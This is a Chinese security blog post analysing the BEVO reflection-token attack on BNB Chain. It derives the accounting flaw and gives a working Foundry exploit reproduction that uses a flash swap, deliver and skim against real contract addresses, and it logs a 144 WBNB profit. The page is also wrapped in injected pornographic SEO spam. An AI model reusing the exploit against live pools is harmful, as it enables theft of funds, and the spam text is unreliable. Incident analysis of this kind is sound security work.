<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      【漏洞分析】ReflectionToken BEVO代幣攻擊事件分析及復(fù)現(xiàn)

      前言

      BEVO代幣是一種Reflection Token(反射型代幣),并且擁有通縮的特性。關(guān)于Reflection Token更為詳細(xì)的說(shuō)明可參考這篇文章。然后目前瀏覽到的很多分析報(bào)告沒(méi)有指出其漏洞產(chǎn)生的真正原因,所以就自己試著去做一下分析吧。
      總結(jié)性的分析思路可以參考這篇文章:Reflection Token 反射型代幣攻擊事件通用分析思路

      相關(guān)信息

      攻擊過(guò)程分析

      image

      整個(gè)攻擊過(guò)程很簡(jiǎn)單:

      1. 首先閃電貸借出大量的WBNB
      2. 通過(guò)池子換出大量BEVO
      3. 調(diào)用deliver函數(shù)消耗所有的BEVO
      4. 調(diào)用skim函數(shù),獲得比在deliver函數(shù)中所消耗的更多的BEVO
      5. 調(diào)用swap函數(shù)獲得超額的WBNB

      每一步都是正常的操作,但是最后的結(jié)果就是攻擊者成功獲利了。背后漏洞的成因還有點(diǎn)繞,接下來(lái)詳細(xì)分析。

      函數(shù)流程對(duì)比

      由于BEVOToken是基于ReflectionToken進(jìn)行修改的版本,而原版的反射代幣執(zhí)行這個(gè)簡(jiǎn)單的deliver+skim操作是安全的。那么我們將原版的ReflectionToken與魔改后的BEVOToken的_transferStandard函數(shù)進(jìn)行一個(gè)對(duì)比(該函數(shù)在transfer的過(guò)程中要用到)。

      REFLECT.sol(Original)

      _transferStandard 流程

      1. 通過(guò)_getValues函數(shù),基于tAmount計(jì)算出所有后續(xù)要用到的tAmount和rAmount,包括Fee和TransferAmount
      2. 登記rTransferAmount的轉(zhuǎn)賬:sender賬戶減少,recipient賬戶增加。
      3. 然后將Fee燃燒掉:從rTotal中減去rFee

      CoinToken.sol(BEVO)

      _transferStandard 流程

      1. 通過(guò)_getValues函數(shù),基于tAmount計(jì)算出所有后續(xù)要用到的tAmount和rAmount,包括Fee,Burn,Charity和TransferAmount
      2. 通過(guò)_standardTransferContent函數(shù),登記rTransferAmount的轉(zhuǎn)賬:sender賬戶減少,recipient賬戶增加。
      3. 調(diào)用_sendToCharity函數(shù),將Charity值增加到FeeAddress賬戶中
      4. 調(diào)用_reflectFee函數(shù),從rTotal中減去rCharity,rFee,rBurn。從tTotal中減去tBurn。

      BEVO機(jī)制漏洞

      盈利的條件

      先來(lái)了解一個(gè)前置條件,假設(shè)不收取任何費(fèi)用的情況下,要通過(guò)deliver+skim這兩個(gè)操作進(jìn)行盈利,則需要要求skim得到的rAmount大于deliver掉的rAmount值。表示為rSkim > rDeliver。
      公式推導(dǎo)為:

      1. [1]rPair = tPair * (rTotal / tTotal)
      2. deliver操作
      3. [2]rPair2 = tPair * (rTotal - rDeliver) / tTotal
      4. [3]rSkim = rPair2 - rPair
      5. 若要求[4]rSkim > rDeliver,將公式1,2,3代入公式4
      6. 得[5]rDeliver > rTotal - rPair

      而正常情況下,rTotal作為所有rAmount值的總和,自然可得rTotal >= rDeliver + rPair,調(diào)整后得[6]rDeliver <= rTotal - rPair。顯然,公式5中的條件并不能滿足,無(wú)法實(shí)現(xiàn)通過(guò)deliver+skim這兩個(gè)操作進(jìn)行盈利的目的。

      那究竟發(fā)生了什么,打破了這種安全的場(chǎng)景。

      奇怪的計(jì)算

      在函數(shù)流程對(duì)比這一章節(jié)中有提到,BEVO調(diào)用_transferStandard轉(zhuǎn)賬的時(shí)候,會(huì)收取一個(gè)叫Charity的費(fèi)用(1%)。收取這個(gè)費(fèi)用的時(shí)候會(huì)將rCharity和tCharity增加到FeeAddress賬戶中,并且從rTotal中減去rCharity。

      這里就出現(xiàn)了問(wèn)題:

      1. 如果BEVO只是將rCharity從rTotal中減去,則效果類似于deliver和Fee的燃燒。
      2. 如果BEVO只是將rCharity和tCharity增加到FeeAddress賬戶中,則效果類似于轉(zhuǎn)賬。

      但是它既將rCharity從rTotal中減去,又將rCharity和tCharity增加到FeeAddress賬戶中,這使得從rTotal的數(shù)值是不包括rAmount[FeeAddress]的,而FeeAddress地址上確實(shí)存在有一筆rAmount。這就有點(diǎn)像一筆本該銷毀的資金,被FeeAddress偷偷藏了起來(lái),這筆資金從rTotal賬面上來(lái)看是銷毀了,但是卻被FeeAddress揣在了口袋里。

      然后,如果這筆資金凍結(jié)在FeeAddress地址中不再流轉(zhuǎn),那么也不會(huì)對(duì)整個(gè)經(jīng)濟(jì)模型進(jìn)行影響(就相當(dāng)于deliver了)。但是,FeeAddress會(huì)用它手中的BEVO從Pair里兌換WBNB。這就使得了這筆不在rTotal范圍內(nèi)的資金流入了Pair地址中。

      這會(huì)造成什么影響?

      漏洞的成因

      前面提到,F(xiàn)eeAddress會(huì)用它手中不合規(guī)的BEVO從Pair里兌換WBNB,從而使這筆不在rTotal范圍內(nèi)的資金rFeeAddress流入了Pair地址中。此時(shí),將Pair池中的rAmount從新定義為[7]rPair2 = rPair + rFeeAddress

      這筆不在rTotal累加范圍內(nèi)的資金加入,使得代表盈利條件的公式5能夠?qū)崿F(xiàn),由rDeliver > rTotal - rPair2,將公式7代入后調(diào)整可得[8]rDeliver + rFeeAddress > rTotal - rPair

      所以,攻擊者首先借助閃電貸借出大量的BEVO代幣,通過(guò)deliver操作,使得Pair中屬于rFeeAddress的那部分的代幣份額增大,從而執(zhí)行skim操作的時(shí)候就能拿到超額的BEVO代幣。最后歸還閃電貸跑路。

      漏洞復(fù)現(xiàn)

      這個(gè)攻擊流程并不復(fù)雜,所以動(dòng)手復(fù)現(xiàn)一下,現(xiàn)學(xué)的Foundry可能寫(xiě)得有點(diǎn)粗糙。接口文件就不一一貼出了,只貼主要的測(cè)試文件。

      pragma solidity ^0.8.17;
      
      import "forge-std/Test.sol";
      import "../src/CoinToken.sol";
      import "../src/interface/IWBNB.sol";
      import "../src/interface/IPancakeRouter.sol";
      import "../src/interface/IPancakePair.sol";
      
      contract AttackTest is Test {
          CoinToken public bevo = CoinToken(0xc6Cb12df4520B7Bf83f64C79c585b8462e18B6Aa);
          IWBNB public wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
          IPancakeRouter02 public pancakeRouter = IPancakeRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
          PancakePair public pairWBNBUSDC = PancakePair(0xd99c7F6C65857AC913a8f880A4cb84032AB2FC5b);
          PancakePair public pairWBNBADU = PancakePair(0xA6eB184a4b8881C0a4F7F12bBF682FD31De7a633);
      
      
          function setUp() public{
              // Fork BSC Chain, Block high 25230702.
      		// Set your API key.
              string memory MAINNET_RPC_URL = "https://bsc-mainnet.nodereal.io/v1/xxx";
              uint256 forkId = vm.createFork(MAINNET_RPC_URL, 25230702);
              vm.selectFork(forkId);
          }
      
          function testAttack() public {
              // Approve maximum amount for WBNB.
              wbnb.approve(address(pancakeRouter), 2 **256 - 1);
      
              // Calling swap function, and "data" parameter is not empty.
              pairWBNBUSDC.swap(0, 192500000000000000000, address(this), "1");
              
              // Profit amount
              require(wbnb.balanceOf(address(this)) > 0);
              console.log("Profit:%d WBNB", wbnb.balanceOf(address(this)));
          }
      
          function pancakeCall(address sender, uint256 amount0Out, uint256 amount1Out, bytes calldata data) external{
              // Make up the path which is from WBNB to BEVO.
              address[] memory path = new address[](2);
              path[0] = address(wbnb);
              path[1] = address(bevo);
      
              // Exchange all WBNB to BEVO.
              pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                  wbnb.balanceOf(address(this)), 
                  0, 
                  path, 
                  address(this), 
                  1675072425
                  );
      
              // Deliver
              bevo.deliver(bevo.balanceOf(address(this)));
      
              // Skim
              pairWBNBADU.skim(address(this));
      
              // Deliver tiwce
              bevo.deliver(bevo.balanceOf(address(this)));
      
              // Exchange all BEVO to 337 WBNB.
              pairWBNBADU.swap(337000000000000000000, 0, address(this), "");
      
              // Repay the fashloan.
              wbnb.transfer(address(pairWBNBUSDC), 193000000000000000000);
          }
      
      }
      

      運(yùn)行結(jié)果:

      Running 1 test for test/Attack.t.sol:AttackTest
      [PASS] testAttack() (gas: 421646)
      Logs:
        Profit:144000000000000000000 WBNB
      
      Test result: ok. 1 passed; 0 failed; finished in 627.79ms
      

      后語(yǔ)

      最近在學(xué)習(xí)ReflectionToken的相關(guān)內(nèi)容,了解到了BEVO代幣的安全事件,打算跟著網(wǎng)上的分析文章把細(xì)節(jié)摸清一下。但很可惜發(fā)現(xiàn)網(wǎng)上的分析文章都是淺嘗輒止,一副懂的都懂不懂的我也不多說(shuō)了的樣子,看到攻擊者deliver+skim獲利了就斷定是deliver導(dǎo)致rTotal減少,從而rate增大就獲得了套利機(jī)會(huì)(其實(shí)賺不了)。然后我按照文章中的思路計(jì)算了兩天死活就算不出來(lái)盈利(就讓我多吐槽幾句吧因?yàn)槲艺娴氖炙懔撕枚囗?yè)紙硬是沒(méi)算出來(lái))。所以自己摸索著搞了一份分析,因?yàn)樾±系芤彩窃趯W(xué)習(xí)的過(guò)程中,所以文章有可能有錯(cuò)的地方,還請(qǐng)各位師傅多多指點(diǎn)。感謝閱讀!

      下面就是反面教材環(huán)節(jié):


      image


      image

      image

      posted @ 2023-05-09 15:47  ACai_sec  閱讀(820)  評(píng)論(0)    收藏  舉報(bào)
      主站蜘蛛池模板: 在线天堂中文新版www| 色爱av综合网国产精品| www免费视频com| 熟女视频一区二区三区嫩草| 久久碰国产一区二区三区| 日本乱码在线看亚洲乱码| www久久只有这里有精品| 婷婷五月综合激情| 亚洲国产精品一区二区第一页| AV人摸人人人澡人人超碰| 平顺县| 国产视色精品亚洲一区二区| 国产亚洲精品在av| 久久婷婷综合色丁香五月| 毛片大全真人在线| 丽江市| 国产日韩精品视频无码| 日本高清日本在线免费| 九九热在线精品免费视频| 国产精品一二三中文字幕| 老师破女学生处特级毛ooo片| 少妇特黄a一区二区三区| 久久精品夜色噜噜亚洲av| 婷婷五月综合丁香在线| 国产一区二区精品久久岳| 丁香五月婷激情综合第九色 | 国产精品午夜剧场免费观看| 亚洲无码在线免费观看| 少妇被粗大的猛烈进出动视频| 成年午夜免费韩国做受视频| 少妇精品导航| 亚洲精品动漫一区二区三| 亚洲成人av在线系列| 欧美老熟妇乱子伦牲交视频| 日韩一区二区三区无码a片| 狠狠色综合久久丁香婷婷| 中文字幕无码免费不卡视频| 宾阳县| 亚洲精品色一区二区三区| 国产成人精品亚洲资源| 久久国产精品成人影院|